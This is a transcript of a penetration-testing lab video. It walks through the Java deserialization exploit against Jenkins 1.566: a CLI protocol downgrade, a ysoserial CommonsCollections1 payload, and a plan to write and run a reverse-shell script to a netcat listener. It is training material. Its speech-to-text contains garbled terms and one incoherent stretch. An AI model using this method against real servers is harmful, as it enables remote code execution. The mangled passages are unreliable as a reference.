WEBVTT 0:00:03.940000 --> 0:00:07.600000 All right, so I'm currently within the lab environment. 0:00:07.600000 --> 0:00:11.760000 And as you can see, you will be provided with access to a pre-configured 0:00:11.760000 --> 0:00:13.180000 Kali Linux system. 0:00:13.180000 --> 0:00:22.300000 So the target system is running on the domain demo.ini.local. 0:00:22.300000 --> 0:00:24.600000 So you can try and access it. 0:00:24.600000 --> 0:00:30.980000 The web's the port that's running Jenkins is 8080. 0:00:30.980000 --> 0:00:38.440000 So, you know, if we go demo.ini .local and 8080, we hit enter. 0:00:38.440000 --> 0:00:39.200000 And there we are. 0:00:39.200000 --> 0:00:41.640000 So we have Jenkins running here. 0:00:41.640000 --> 0:00:49.780000 And this specific version of Jenkins, 1566, is vulnerable to deserialization 0:00:49.780000 --> 0:00:51.540000 or a deserialization vulnerability. 0:00:51.540000 --> 0:00:57.920000 Now, a reference to where you can learn more about, you know, the vulnerability 0:00:57.920000 --> 0:01:02.040000 itself and what triggers it or what causes it and how it can be exploited 0:01:02.040000 --> 0:01:06.260000 has been added to the lab documentation as well as a link to the exploit 0:01:06.260000 --> 0:01:08.080000 we'll be using now. 0:01:08.080000 --> 0:01:11.500000 Why am I showcasing Jenkins? 0:01:11.500000 --> 0:01:18.320000 Well, the reason for that is, again, outlined in the write up of, you 0:01:18.320000 --> 0:01:24.680000 know, the actual individual who identified this vulnerability. 0:01:24.680000 --> 0:01:30.240000 And that is that, you know, you quite often encounter Jenkins in a lot 0:01:30.240000 --> 0:01:37.220000 of pen tests. And because of that, you know, it's quite important to understand, 0:01:37.220000 --> 0:01:43.820000 you know, using this example or this lab demo, understand exactly, you 0:01:43.820000 --> 0:01:49.760000 know, firstly, how Java web applications, you know, perform or facilitate 0:01:49.760000 --> 0:01:52.140000 serialization and deserialization. 0:01:52.140000 --> 0:01:55.880000 But more importantly, what it can lead to and even more important than 0:01:55.880000 --> 0:02:01.060000 that, how to leverage a tool like Wysos cereal to generate payloads appropriate 0:02:01.060000 --> 0:02:02.800000 for your use case. 0:02:02.800000 --> 0:02:06.420000 So as I said, within the lab documentation, there's a link to a write 0:02:06.420000 --> 0:02:11.000000 up that sort of explains how the vulnerability was identified and how 0:02:11.000000 --> 0:02:14.860000 it is exploited, which I think is very useful and will go through it right 0:02:14.860000 --> 0:02:19.460000 now. So I'm just going to switch into a different tab and I'll go to this 0:02:19.460000 --> 0:02:23.360000 section that outlines Jenkins specifically. 0:02:23.360000 --> 0:02:29.020000 All right. So I'm currently on the actual website or, you know, the site 0:02:29.020000 --> 0:02:31.540000 that has the write up. 0:02:31.540000 --> 0:02:36.760000 This is, you know, Foxglove security, top top security team. 0:02:36.760000 --> 0:02:57.800000 And you can see there was posted quite a while ago. 0:02:57.800000 --> 0:03:03.160000 Those tokens turn into a quote, you know, insert it into something, you 0:03:03.160000 --> 0:03:04.060000 know, it's You know, there's really that one chain is essentially a parent. 0:03:04.060000 --> 0:03:06.380000 So this is, he would, you know, take it back to my architecture. 0:03:06.380000 --> 0:03:08.060000 Don't show where the technology is. 0:03:08.060000 --> 0:03:10.180000 Name, there were no press releases. 0:03:10.180000 --> 0:03:14.860000 Nobody called it, nobody called a Mandiant to come put out the fires. 0:03:14.860000 --> 0:03:20.700000 In fact, even though proof of concept code was released over nine months 0:03:20.700000 --> 0:03:24.960000 ago, none of the products mentioned in the title of this post have been 0:03:24.960000 --> 0:03:27.240000 patched, along with many more. 0:03:27.240000 --> 0:03:32.120000 In fact, no patch is available for the Java library containing the vulnerability. 0:03:32.120000 --> 0:03:36.460000 In addition to any commercial products that are vulnerable, this also 0:03:36.460000 --> 0:03:39.220000 affects many custom applications. 0:03:39.220000 --> 0:03:44.400000 All right. So in this post, I'll be dropping preauthentication RCE exploits 0:03:44.400000 --> 0:03:49.320000 that leverage this vulnerability for web logic, web, share, JBoss Jenkins 0:03:49.320000 --> 0:03:54.900000 being our target and open NMS all on the newest versions as of when this 0:03:54.900000 --> 0:03:55.800000 post was written. 0:03:55.800000 --> 0:03:58.180000 I should point out even more interesting. 0:03:58.180000 --> 0:04:01.200000 I'll detail the process we went through to discover that these products 0:04:01.200000 --> 0:04:03.600000 were vulnerable and how I developed the exploits. 0:04:03.600000 --> 0:04:08.280000 They should empower you to find out, to find the same bug in your own 0:04:08.280000 --> 0:04:12.920000 software commercial products that you or your clients use. 0:04:12.920000 --> 0:04:17.620000 All code can be found the following GitHub repo. 0:04:17.620000 --> 0:04:23.720000 And yeah, so firstly, there's a background on, you know, uncivilized vulnerabilities. 0:04:23.720000 --> 0:04:26.000000 That's what they were called at that point. 0:04:26.000000 --> 0:04:29.780000 And there's sort of states why he hadn't heard of this. 0:04:29.780000 --> 0:04:30.920000 And remember, this was 2015. 0:04:30.920000 --> 0:04:36.620000 So this is actually a very, very awesome post because it's right at the 0:04:36.620000 --> 0:04:40.240000 forefront of when this vulnerability sort of came to the fore. 0:04:40.240000 --> 0:04:44.280000 And then of course, we'll take a look at the Jenkins section. 0:04:44.280000 --> 0:04:47.160000 So background, uncivilized vulnerabilities for dummies. 0:04:47.160000 --> 0:04:49.980000 I know you're probably wondering why I'm going through this, but I think 0:04:49.980000 --> 0:04:52.840000 it's quite important, especially in the context of Java. 0:04:52.840000 --> 0:04:56.900000 So uncivilized vulnerabilities are a vulnerability class. 0:04:56.900000 --> 0:05:00.600000 Most programming languages, as I mentioned, provide built-in ways for 0:05:00.600000 --> 0:05:05.120000 users to output application data to disk or stream it over the network. 0:05:05.120000 --> 0:05:08.460000 The process of converting application data to another format, usually 0:05:08.460000 --> 0:05:13.560000 binary, suitable for transportation is called serialization. 0:05:13.560000 --> 0:05:18.640000 The process of reading data back in after it has been serialized is called 0:05:18.640000 --> 0:05:23.400000 uncivilized. It's a bit of an old school or original term. 0:05:23.400000 --> 0:05:25.640000 Now it's called deserialization. 0:05:25.640000 --> 0:05:29.480000 But I just, I thought this is an awesome to just have this historical 0:05:29.480000 --> 0:05:35.180000 view of stuff. So, you know, proceeding on vulnerabilities arise when 0:05:35.180000 --> 0:05:38.520000 developers write code that accepts serialized data from users and attempt 0:05:38.520000 --> 0:05:41.600000 to uncivilize it for use in the program. 0:05:41.600000 --> 0:05:45.040000 Depending on the language, this can lead to all sorts of consequences. 0:05:45.040000 --> 0:05:51.060000 But most interesting and the one we will talk about here is RCE. 0:05:51.060000 --> 0:05:55.380000 So previous work, there, you know, there have been a few Java uncivilized 0:05:55.380000 --> 0:05:57.620000 vulnerabilities published in the past few years. 0:05:57.620000 --> 0:06:02.120000 One was discovered in the spring framework, another in Groovy, and yet 0:06:02.120000 --> 0:06:07.200000 another in one of our, in one of the other commons library commons file 0:06:07.200000 --> 0:06:11.020000 upload. All of these vulnerabilities were eventually fixed. 0:06:11.020000 --> 0:06:14.120000 Unfortunately, I can't take credit for finding the vulnerability in the 0:06:14.120000 --> 0:06:19.620000 commons collection library myself and a fellow researcher, drone sec, 0:06:19.620000 --> 0:06:24.540000 you know, sort of shout out there, really dropped the ball on this one. 0:06:24.540000 --> 0:06:28.680000 Nearly two years ago, we decided we wanted a zero day in WebSphere application 0:06:28.680000 --> 0:06:33.680000 server. The project started off promising and pay attention application 0:06:33.680000 --> 0:06:37.760000 server. It's all starting to come together from the first section of this 0:06:37.760000 --> 0:06:42.760000 course. The project, the project started off promising with such a large 0:06:42.760000 --> 0:06:47.720000 code base and so much exposed, they had to be something vulnerable. 0:06:47.720000 --> 0:06:54.120000 After some, after sometimes searching, we eventually got it into our heads 0:06:54.120000 --> 0:06:57.780000 that it would be amazing if we could find an un-serialized vulnerability 0:06:57.780000 --> 0:07:00.540000 in the Java or a common library. 0:07:00.540000 --> 0:07:05.820000 Why? Because everything in the Java world uses object serialization. 0:07:05.820000 --> 0:07:09.920000 Ha. I want you to pay very close attention here because this is why I 0:07:09.920000 --> 0:07:13.160000 wanted to go through this right up with you guys. 0:07:13.160000 --> 0:07:16.460000 Everything in the Java world uses object serialization. 0:07:16.460000 --> 0:07:22.600000 Almost everything can be coerced into accepting unsafe user provided serialized 0:07:22.600000 --> 0:07:25.980000 data. And of course, he tells us to take a look at the exploit section 0:07:25.980000 --> 0:07:28.140000 of this post for proof. 0:07:28.140000 --> 0:07:33.300000 We started down this path and found some cool leads in the world of Java 0:07:33.300000 --> 0:07:36.340000 on serialized. I'm just going to call them the serialization vulnerabilities 0:07:36.340000 --> 0:07:39.780000 now, some of which will probably continue to look into. 0:07:39.780000 --> 0:07:44.100000 So I'll just, you know, go over very briefly the serialization basic section 0:07:44.100000 --> 0:07:48.160000 here to sort of augment what we covered in the slides and then we'll move 0:07:48.160000 --> 0:07:55.180000 on to which dependent as I stated here. 0:07:55.180000 --> 0:07:59.200000 I'll describe the basics of how it works in Java and why an un-serialized 0:07:59.200000 --> 0:08:02.580000 vulnerability in any of the hundreds of libraries, your application loads, 0:08:02.580000 --> 0:08:06.660000 even libraries you don't use can ruin your day. 0:08:06.660000 --> 0:08:09.720000 As described earlier, serialization is the process by which your programming 0:08:09.720000 --> 0:08:14.040000 language lets you convert data to a static binary format suitable for 0:08:14.040000 --> 0:08:17.400000 saving to a disk or sending over the network. 0:08:17.400000 --> 0:08:22.200000 Un-serialization or deserialization is exactly the opposite. 0:08:22.200000 --> 0:08:25.280000 It takes the binary data and converts it back into something that you 0:08:25.280000 --> 0:08:30.180000 can use. Since this is all a bit hand -wavy and high level, you can say 0:08:30.180000 --> 0:08:34.300000 that again. Let's take a look at some basic Java code that shows how someone 0:08:34.300000 --> 0:08:35.740000 might use serialization. 0:08:35.740000 --> 0:08:40.580000 So, you know, we pretty much went through an example very similar to this. 0:08:40.580000 --> 0:08:44.680000 Although it, you know, it was a bit different, but, you know, we covered 0:08:44.680000 --> 0:08:48.060000 this in the slides, so we're not looking at this now. 0:08:48.060000 --> 0:08:54.620000 One thing I want to point out here is the .ser file. 0:08:54.620000 --> 0:09:00.700000 So, notice the file on disk named .ser is binary. 0:09:00.700000 --> 0:09:03.860000 And one thing I want to point out, let me see if it's actually highlighted 0:09:03.860000 --> 0:09:08.220000 here. Yeah, so this is exactly what I pointed out, the magic bytes, what 0:09:08.220000 --> 0:09:10.100000 to look out for. 0:09:10.100000 --> 0:09:17.140000 As I highlighted in the slides a few minutes ago. 0:09:17.140000 --> 0:09:22.000000 Yeah, and then of course, right over here, Java objects in more complex 0:09:22.000000 --> 0:09:28.160000 serialization. So, as an object-oriented language, which Java is, Java 0:09:28.160000 --> 0:09:30.320000 has a concept of objects. 0:09:30.320000 --> 0:09:33.660000 Those unfamiliar with the concept can think of these like user-defined 0:09:33.660000 --> 0:09:37.740000 data types. I explained objects, so I'm glad I did that in the previous 0:09:37.740000 --> 0:09:41.980000 video. For example, in Java, a string is a type and you can do things 0:09:41.980000 --> 0:09:46.200000 like this. So, string name, string, there's a string or a variable called 0:09:46.200000 --> 0:09:50.360000 name of, you know, data type string that's equal to Bob. 0:09:50.360000 --> 0:09:51.860000 And then print it out. 0:09:51.860000 --> 0:09:56.060000 In this case, print out the length, right? 0:09:56.060000 --> 0:10:00.380000 The methods length and substring aren't magic. 0:10:00.380000 --> 0:10:03.300000 They're part of the definition of the string object. 0:10:03.300000 --> 0:10:04.940000 Pay attention here. 0:10:04.940000 --> 0:10:06.580000 String object as a programmer. 0:10:06.580000 --> 0:10:09.300000 You can define your own objects and methods. 0:10:09.300000 --> 0:10:13.800000 Now that we've, now that we've skipped about six months of intro to Java, 0:10:13.800000 --> 0:10:17.540000 let's skip a few more and go straight to custom object serialization. 0:10:17.540000 --> 0:10:22.060000 So, again, I'll not go through this example because we sort of went through 0:10:22.060000 --> 0:10:24.220000 a very similar example. 0:10:24.220000 --> 0:10:29.920000 But what I wanted to sort of, you know, we covered the serializable interface 0:10:29.920000 --> 0:10:32.800000 and all of that good stuff, all of that jazz. 0:10:32.800000 --> 0:10:34.480000 But yeah, there we are. 0:10:34.480000 --> 0:10:37.500000 What could possibly go wrong? 0:10:37.500000 --> 0:10:41.420000 So let's consider what we've learned so far in the context of Java web 0:10:41.420000 --> 0:10:44.280000 applications and application servers are. 0:10:44.280000 --> 0:10:46.900000 So starting to make sense now. 0:10:46.900000 --> 0:10:50.800000 So Java loves sending serialized objects all over the place. 0:10:50.800000 --> 0:10:54.560000 For example, in HTTP request parameters, view, state, cookies, you name 0:10:54.560000 --> 0:11:00.980000 it, RMI. The extensively used Java RMI protocol is 100% based on serialization. 0:11:00.980000 --> 0:11:03.240000 Make sure you're taking notes here. 0:11:03.240000 --> 0:11:07.280000 RMI over HTTP, many Java thick -lined web apps use this. 0:11:07.280000 --> 0:11:11.960000 Again, 100% serialized objects, JMX, again, relies on serialized objects 0:11:11.960000 --> 0:11:13.780000 being shot over the wire. 0:11:13.780000 --> 0:11:19.120000 Custom protocol sending, in this case, and receiving, probably needs a 0:11:19.120000 --> 0:11:23.380000 correction there, receiving raw Java objects is the norm, which we'll 0:11:23.380000 --> 0:11:25.220000 see in some of the exploits to come. 0:11:25.220000 --> 0:11:33.080000 So as he says here, okay, so what you ask, well, so what you ask, well, 0:11:33.080000 --> 0:11:37.700000 what if we knew of an object that implemented a read object method that 0:11:37.700000 --> 0:11:38.780000 did something dangerous? 0:11:38.780000 --> 0:11:44.120000 What if instead of appending an exclamation point to a user-defined string, 0:11:44.120000 --> 0:11:49.960000 it could be massaged into running a user -defined command on the operating 0:11:49.960000 --> 0:11:54.020000 system? That would be pretty bad to say the least. 0:11:54.020000 --> 0:11:58.680000 Suppose such a vulnerable object existed, but wasn't part of the core 0:11:58.680000 --> 0:12:02.700000 of core Java, but instead just part of a library. 0:12:02.700000 --> 0:12:05.700000 Think about the requirements for exploitation. 0:12:05.700000 --> 0:12:08.420000 The library would need to be on the Java class part. 0:12:08.420000 --> 0:12:10.920000 If you remember, I mentioned this in the slides as well. 0:12:10.920000 --> 0:12:14.900000 The application would need to deserialize untrusted user input. 0:12:14.900000 --> 0:12:20.200000 We've already determined that requirement too is often very often satisfied, 0:12:20.200000 --> 0:12:24.360000 where the application would need to deserialize untrusted user input. 0:12:24.360000 --> 0:12:28.040000 Requirement one could be satisfied if we could find such a vulnerability 0:12:28.040000 --> 0:12:32.580000 in a commonly used library. 0:12:32.580000 --> 0:12:37.300000 Again, apologies, but I need to go through this last section here. 0:12:37.300000 --> 0:12:39.900000 So one vulnerability to rule them all. 0:12:39.900000 --> 0:12:45.540000 On January the 28th, 2015, the slides for a talk titled marshalling pickles 0:12:45.540000 --> 0:12:47.240000 were posted to SlideShare. 0:12:47.240000 --> 0:12:49.520000 The talk was given at AppSecKally. 0:12:49.520000 --> 0:12:55.540000 I added the link to this talk in the slides by Gabriel Lawrence. 0:12:55.540000 --> 0:12:59.400000 Shout out to Gabriel Lawrence and Chris Frohoff. 0:12:59.400000 --> 0:13:03.800000 The world didn't seem to care. 0:13:03.800000 --> 0:13:07.780000 During their talk, Gabriel and Chris released an unserialized vulnerability 0:13:07.780000 --> 0:13:13.080000 in the Commons Collection library that results in remote code execution. 0:13:13.080000 --> 0:13:16.800000 This library is extremely popular in the Java world. 0:13:16.800000 --> 0:13:20.900000 What this means is that any application or indeed framework that uses 0:13:20.900000 --> 0:13:24.740000 it, there are many, and unserializes untrusted data. 0:13:24.740000 --> 0:13:31.240000 Again, many. Now has an open CVSS score of 10. 0:13:31.240000 --> 0:13:37.460000 And this means that defenders, for defenders, anyone on your network can 0:13:37.460000 --> 0:13:41.320000 potentially, the internet can compromise many of your application servers, 0:13:41.320000 --> 0:13:44.160000 including some appliances for pen testers. 0:13:44.160000 --> 0:13:45.140000 This vulnerability is amazing. 0:13:45.140000 --> 0:13:47.100000 You can say that again. 0:13:47.100000 --> 0:13:49.980000 It runs in memory and isn't going away anytime soon. 0:13:49.980000 --> 0:13:53.540000 RCE in many, many things, including custom application. 0:13:53.540000 --> 0:13:55.360000 Then of course checkbox checkers. 0:13:55.360000 --> 0:13:56.620000 Uncheck the boxes. 0:13:56.620000 --> 0:13:59.160000 You're probably not compliant anymore. 0:13:59.160000 --> 0:14:04.660000 Okay, so I'll not go through the fix section here. 0:14:04.660000 --> 0:14:08.140000 But the vulnerability, you can go through the actual background here. 0:14:08.140000 --> 0:14:14.700000 We sort of explored it in the slides. 0:14:14.700000 --> 0:14:17.680000 And you can also go through this section here. 0:14:17.680000 --> 0:14:19.500000 How common is Commons? 0:14:19.500000 --> 0:14:21.820000 Right over here. 0:14:21.820000 --> 0:14:27.240000 And we can actually, you know, you have an exploit development section 0:14:27.240000 --> 0:14:29.780000 here. How do you find it? 0:14:29.780000 --> 0:14:31.260000 That's also quite useful. 0:14:31.260000 --> 0:14:37.560000 But now there's also mentioned to Wysos cereal for testing. 0:14:37.560000 --> 0:14:42.460000 And then now we'll move to the actual Jenkins exploit here, just to give 0:14:42.460000 --> 0:14:44.520000 you a bit of context as to how it works. 0:14:44.520000 --> 0:14:49.800000 So Jenkins is something we see on internal pen tests all the time, as 0:14:49.800000 --> 0:14:53.400000 I again wanted to point out in the, you know, before we went into the 0:14:53.400000 --> 0:14:57.260000 lab. So it also usually stores quite a bit of intellectual property, which 0:14:57.260000 --> 0:14:58.760000 makes it really exciting. 0:14:58.760000 --> 0:15:00.580000 Again, you can say that again. 0:15:00.580000 --> 0:15:05.620000 The exploit requires you to have access to high number TCP port, running 0:15:05.620000 --> 0:15:07.800000 on the Jenkins machine. 0:15:07.800000 --> 0:15:10.800000 So it's unlikely that this will work from the internet. 0:15:10.800000 --> 0:15:14.720000 So there's a bit of a constraint here anyway, vulnerability detection. 0:15:14.720000 --> 0:15:19.140000 So to start, he fired up, or I'll just speak in first person. 0:15:19.140000 --> 0:15:23.020000 I fired up a local instance of the application running in Tomcat, and 0:15:23.020000 --> 0:15:26.940000 used Grep to see if it had a copy of the vulnerable library. 0:15:26.940000 --> 0:15:28.640000 In this case, there we are. 0:15:28.640000 --> 0:15:32.200000 You can see matches, Commons collections there. 0:15:32.200000 --> 0:15:37.500000 And then Iran, Elsoft to see what ports it was listening on. 0:15:37.500000 --> 0:15:39.200000 We can take a look at here. 0:15:39.200000 --> 0:15:43.520000 So we have 8080, which is what we have in the lab environment. 0:15:43.520000 --> 0:15:47.880000 We also have 33-758-53289. 0:15:47.880000 --> 0:15:51.220000 And you can see the hired number ports were interesting, and we decided 0:15:51.220000 --> 0:15:53.060000 to explore this a bit further. 0:15:53.060000 --> 0:15:57.460000 My coworker Justin, shout out again there, found that Jenkins actually 0:15:57.460000 --> 0:16:01.680000 comes bundled with a command line tool, which is located at Web Apps, 0:16:01.680000 --> 0:16:05.380000 root, web info, Jenkins, CLI, or JAR. 0:16:05.380000 --> 0:16:08.820000 This tool was run with Java JAR, etc. 0:16:08.820000 --> 0:16:12.420000 We fired up Y-Shock and took a look at the traffic the tool generated 0:16:12.420000 --> 0:16:14.720000 when it was used. 0:16:14.720000 --> 0:16:20.620000 It did go to that high-numbered port, but unfortunately, it was SSL encrypted, 0:16:20.620000 --> 0:16:24.340000 Bama. A quick review of the code for the client program revealed how it 0:16:24.340000 --> 0:16:26.940000 worked. The relevant code snippet can be seen below. 0:16:26.940000 --> 0:16:33.420000 And pretty much what was found was the fact that, and I'll read it through 0:16:33.420000 --> 0:16:39.300000 here, more specifically at this point here, apparently there are two versions 0:16:39.300000 --> 0:16:44.460000 of the Jenkins CLI protocol, and only version two supports SSL online 0:16:44.460000 --> 0:16:51.080000 30. So we navigate back into here, sorry, line 30. 0:16:51.080000 --> 0:16:54.380000 Just not highlight that there, but online 30. 0:16:54.380000 --> 0:16:56.060000 You can see that right over here. 0:16:56.060000 --> 0:17:06.720000 So if P2 is equal now, return CLI port new in iNet socket address, H-integer, 0:17:06.720000 --> 0:17:09.140000 pass into P2 identity 2. 0:17:09.140000 --> 0:17:16.280000 So we can see that if Jenkins fails together for the port for CLI version 0:17:16.280000 --> 0:17:21.940000 2, called X Jenkins CLI port, that's a header, HTTP header, it falls back 0:17:21.940000 --> 0:17:25.060000 to version 1. This was easy to influence. 0:17:25.060000 --> 0:17:27.460000 We just deleted it from the response in birth. 0:17:27.460000 --> 0:17:32.060000 Predictably, Jenkins fell back to the unencrypted CLI version 1, which 0:17:32.060000 --> 0:17:35.300000 means now they can intercept the traffic. 0:17:35.300000 --> 0:17:38.340000 So looking at the traffic in Y-Shock, we immediately saw the serialized 0:17:38.340000 --> 0:17:41.160000 objects being exchanged, as shown in the following screenshot. 0:17:41.160000 --> 0:17:41.680000 And there you are. 0:17:41.680000 --> 0:17:46.000000 You can see the serialized data here. 0:17:46.000000 --> 0:17:49.520000 And now comes the exploit development section. 0:17:49.520000 --> 0:17:53.460000 So pretty much this goes over how they generated the exploit that we'll 0:17:53.460000 --> 0:17:57.680000 be using, the Python exploit here, which is fairly simple to understand. 0:17:57.680000 --> 0:18:02.400000 The only thing that is important to note is the fact that we'll be utilizing, 0:18:02.400000 --> 0:18:05.720000 you know, the Y-SOS serial tool. 0:18:05.720000 --> 0:18:08.000000 And that's what we'll be exploring. 0:18:08.000000 --> 0:18:11.400000 The exploit itself is fairly easy to understand. 0:18:11.400000 --> 0:18:15.140000 So I'm just going to navigate to the GitHub repo where it's found. 0:18:15.140000 --> 0:18:17.100000 And I'll walk you through it there. 0:18:17.100000 --> 0:18:21.480000 All right. So in the Foxglove sec GitHub repo, again, a link to which 0:18:21.480000 --> 0:18:26.500000 has been added to the lab documentation, you can see the Java on serialized 0:18:26.500000 --> 0:18:30.020000 exploits right over here. 0:18:30.020000 --> 0:18:33.640000 This GitHub repo contains the Jenkins exploit. 0:18:33.640000 --> 0:18:38.920000 So this is pretty much as a result of that write up or extrapolated from 0:18:38.920000 --> 0:18:41.280000 there. But you can see it's fairly simple. 0:18:41.280000 --> 0:18:46.400000 We just need to run the exploit, the target host and port for the Jenkins 0:18:46.400000 --> 0:18:53.000000 server. And then the path to the payload, the payload, we will be generating 0:18:53.000000 --> 0:18:59.200000 with Y-SOS serial using Commons collection one. 0:18:59.200000 --> 0:19:01.600000 And right over here, you can see how it works. 0:19:01.600000 --> 0:19:06.120000 So, you know, host port, the first argument, second argument, that makes 0:19:06.120000 --> 0:19:10.100000 sense. And then, sorry, I'll not highlight that there. 0:19:10.100000 --> 0:19:14.120000 Query Jenkins over HTTP to find what port the listener is on. 0:19:14.120000 --> 0:19:17.580000 So it makes a quick request to there. 0:19:17.580000 --> 0:19:23.240000 There we are. CLI port is equal to int r.headers x Jenkins CLI port. 0:19:23.240000 --> 0:19:25.520000 Open a socket to find the CLI port. 0:19:25.520000 --> 0:19:28.800000 So socket is opened and then prints it out. 0:19:28.800000 --> 0:19:34.200000 And then the headers here, which is actually outlined, you can actually, 0:19:34.200000 --> 0:19:39.460000 because this is hex, you can just decode this. 0:19:39.460000 --> 0:19:42.820000 And then sending the headers, sends the headers. 0:19:42.820000 --> 0:19:45.800000 Okay. Right over here. 0:19:45.800000 --> 0:19:51.700000 This particular head that tells Jenkins to use CLI version one, which 0:19:51.700000 --> 0:19:58.340000 is unencrypted. So you can see the, so the response is received. 0:19:58.340000 --> 0:20:05.160000 And then right over here, we can see payload object is equal to open sys 0:20:05.160000 --> 0:20:10.680000 or v. So now this is where you specify your payload when running the script. 0:20:10.680000 --> 0:20:15.480000 Then we can see payload base 64 is equal to base 64 base 64 dot encode 0:20:15.480000 --> 0:20:18.400000 payload object. So the payload is encoded. 0:20:18.400000 --> 0:20:25.260000 And then the payload is going to be equal to, so firstly, will be the 0:20:25.260000 --> 0:20:27.480000 header right over here. 0:20:27.480000 --> 0:20:28.820000 That again is in the right up. 0:20:28.820000 --> 0:20:33.460000 And then your payload in base 64 format, that will be performed by the 0:20:33.460000 --> 0:20:40.960000 script. And then this final payload here is, right, I'll go into the right 0:20:40.960000 --> 0:20:44.460000 up to explain what it is, but there's three parts to this payload, the 0:20:44.460000 --> 0:20:46.120000 first of which is the header. 0:20:46.120000 --> 0:20:50.320000 Second is the actual vice-versarial generated payload. 0:20:50.320000 --> 0:20:52.520000 And then the third, I'll get into right now. 0:20:52.520000 --> 0:20:55.440000 So I'm now going to just switch back to the right up just one more time 0:20:55.440000 --> 0:20:58.140000 before we get into the exploitation. 0:20:58.140000 --> 0:21:04.580000 All right. So I'm back on the right up page here, the Fox glove security. 0:21:04.580000 --> 0:21:09.740000 So right over here, just want to show you this here. 0:21:09.740000 --> 0:21:11.340000 Let's start over here. 0:21:11.340000 --> 0:21:16.700000 So they make the request here. 0:21:16.700000 --> 0:21:21.120000 Remember the first packet in the stream we saw in Wuyenshark that initiate 0:21:21.120000 --> 0:21:22.400000 the CLI protocol. 0:21:22.400000 --> 0:21:23.940000 Let's send that to the remote server. 0:21:23.940000 --> 0:21:31.360000 So that's the first part of that payload right over here. 0:21:31.360000 --> 0:21:42.200000 So pretty much, yeah, there we are, Jenkins, remote in capacity. 0:21:42.200000 --> 0:21:48.620000 And then, yeah, proceeding there, as the states over, you might be wondering 0:21:48.620000 --> 0:21:51.740000 where all the hex stuff came from. 0:21:51.740000 --> 0:21:55.360000 I just copied it from Wuyenshark and used some magic keyboard shortcuts 0:21:55.360000 --> 0:22:03.320000 and some we need to construct the payload itself. 0:22:03.320000 --> 0:22:06.780000 So the variable payload object is just the binary generated by the Wyshark 0:22:06.780000 --> 0:22:11.580000 serial tool. And then that's base 64 encoded. 0:22:11.580000 --> 0:22:15.220000 And you can see I have this as the third argument to the script. 0:22:15.220000 --> 0:22:17.840000 I then use base 64, I then base 64 encoded. 0:22:17.840000 --> 0:22:22.320000 Remember that the object in the TCP stream we saw was base 64 encoded. 0:22:22.320000 --> 0:22:25.180000 So very good. We all, we want to keep that consistent. 0:22:25.180000 --> 0:22:28.320000 Next, we construct the payload by concatenating the first bytes, which 0:22:28.320000 --> 0:22:35.680000 as I said, were just Jenkins remoting C, sorry, Jenkins remoting capacity 0:22:35.680000 --> 0:22:39.920000 in hex, which was the first part in the script, if you remember, then 0:22:39.920000 --> 0:22:44.060000 the second part is going to be the Wyshark serial payload base 64 that 0:22:44.060000 --> 0:22:47.020000 you load when running the exploit script. 0:22:47.020000 --> 0:22:52.260000 And then you can see finally, we concatenate all of that with the remained 0:22:52.260000 --> 0:22:56.740000 of the bytes from the packet we saw in the TCP stream, which is actually 0:22:56.740000 --> 0:23:01.980000 quite long. And then finally, we fire the payload off at the Jenkins server. 0:23:01.980000 --> 0:23:07.600000 And it allows us to write files to the Jenkins server. 0:23:07.600000 --> 0:23:13.040000 And through this now, through this exploit and utilizing Wyshark serial 0:23:13.040000 --> 0:23:19.620000 payloads, we can actually try and get remote code execution by trying 0:23:19.620000 --> 0:23:24.780000 to upload, let's say, a reversal script because it's, you know, because 0:23:24.780000 --> 0:23:28.500000 we can execute system level commands, there should be no issue, although 0:23:28.500000 --> 0:23:31.700000 it might take more than one step to perform. 0:23:31.700000 --> 0:23:35.680000 So now that we, you know, have the context regarding this particular vulnerability, 0:23:35.680000 --> 0:23:40.680000 what it's all about, we can now move on into the lab environment. 0:23:40.680000 --> 0:23:44.060000 So one thing I would recommend you do is just copy the exploit from the 0:23:44.060000 --> 0:23:48.060000 GitHub repo, again, the link to which is in the lab documentation. 0:23:48.060000 --> 0:23:52.740000 And I'm just going to copy it over into the Kali Linux system in the lab, 0:23:52.740000 --> 0:23:55.120000 and we can get started. 0:23:55.120000 --> 0:23:57.940000 All right. So I'm back in the lab environment. 0:23:57.940000 --> 0:24:00.660000 I've just copied over the exploit script right over here. 0:24:00.660000 --> 0:24:02.600000 We really don't need to modify it. 0:24:02.600000 --> 0:24:08.100000 The only thing I'll do is I'll just call it exploit.py as opposed to Jenkins. 0:24:08.100000 --> 0:24:11.940000 So exploit.py, I'll save it on my desktop. 0:24:11.940000 --> 0:24:19.400000 And just to clarify again, the first part of the payload right over here 0:24:19.400000 --> 0:24:28.960000 was, you know, the first part was the head, I remember in the right up, 0:24:28.960000 --> 0:24:31.960000 I can't believe I've forgotten the name. 0:24:31.960000 --> 0:24:34.540000 Jenkins, remoting capacity. 0:24:34.540000 --> 0:24:39.160000 And then the second one, which is payload base 64, is your payload, the 0:24:39.160000 --> 0:24:44.920000 YSOS 0 payload. And then what follows that is sort of the trailing or, 0:24:44.920000 --> 0:24:50.960000 you know, what was found in the in the YSOS capture, which is sort of 0:24:50.960000 --> 0:24:56.100000 required. It's quite a bit of, you know, data in here, but there you go. 0:24:56.100000 --> 0:24:58.960000 So we actually don't need to do anything to this exploit. 0:24:58.960000 --> 0:25:02.420000 The only thing we need to know is, you know, host port and then path to 0:25:02.420000 --> 0:25:04.380000 payload. So there's only three arguments. 0:25:04.380000 --> 0:25:08.040000 First is the IP that's running Jenkins. 0:25:08.040000 --> 0:25:11.200000 The port is running on and then the path to the payload that will generate 0:25:11.200000 --> 0:25:16.320000 with YSOS 0. So what we're going to be doing is we are going to generate 0:25:16.320000 --> 0:25:22.920000 or we are going to utilize YSOS 0 to generate payloads that will essentially 0:25:22.920000 --> 0:25:28.400000 allow us to write a, let's say, a shell script that will connect to our 0:25:28.400000 --> 0:25:29.680000 netcat listener. 0:25:29.680000 --> 0:25:33.260000 And then we're going to need to, I think, use YSOS 0 to generate other 0:25:33.260000 --> 0:25:37.920000 payloads to give the script executable permissions on the target system 0:25:37.920000 --> 0:25:41.120000 after it's been written and then execute it. 0:25:41.120000 --> 0:25:43.380000 And then we hopefully will get a reverse shell. 0:25:43.380000 --> 0:25:48.880000 So I'll open up my terminal and I'll just navigate to the desktop. 0:25:48.880000 --> 0:25:54.300000 YSOS 0 is already on the Kali Linux system under tools. 0:25:54.300000 --> 0:25:55.420000 Sorry, there we are. 0:25:55.420000 --> 0:25:56.340000 So you should see it. 0:25:56.340000 --> 0:26:01.220000 YSOS 0 and it's just the jar file here. 0:26:01.220000 --> 0:26:05.420000 So I'll just navigate back to the desktop and 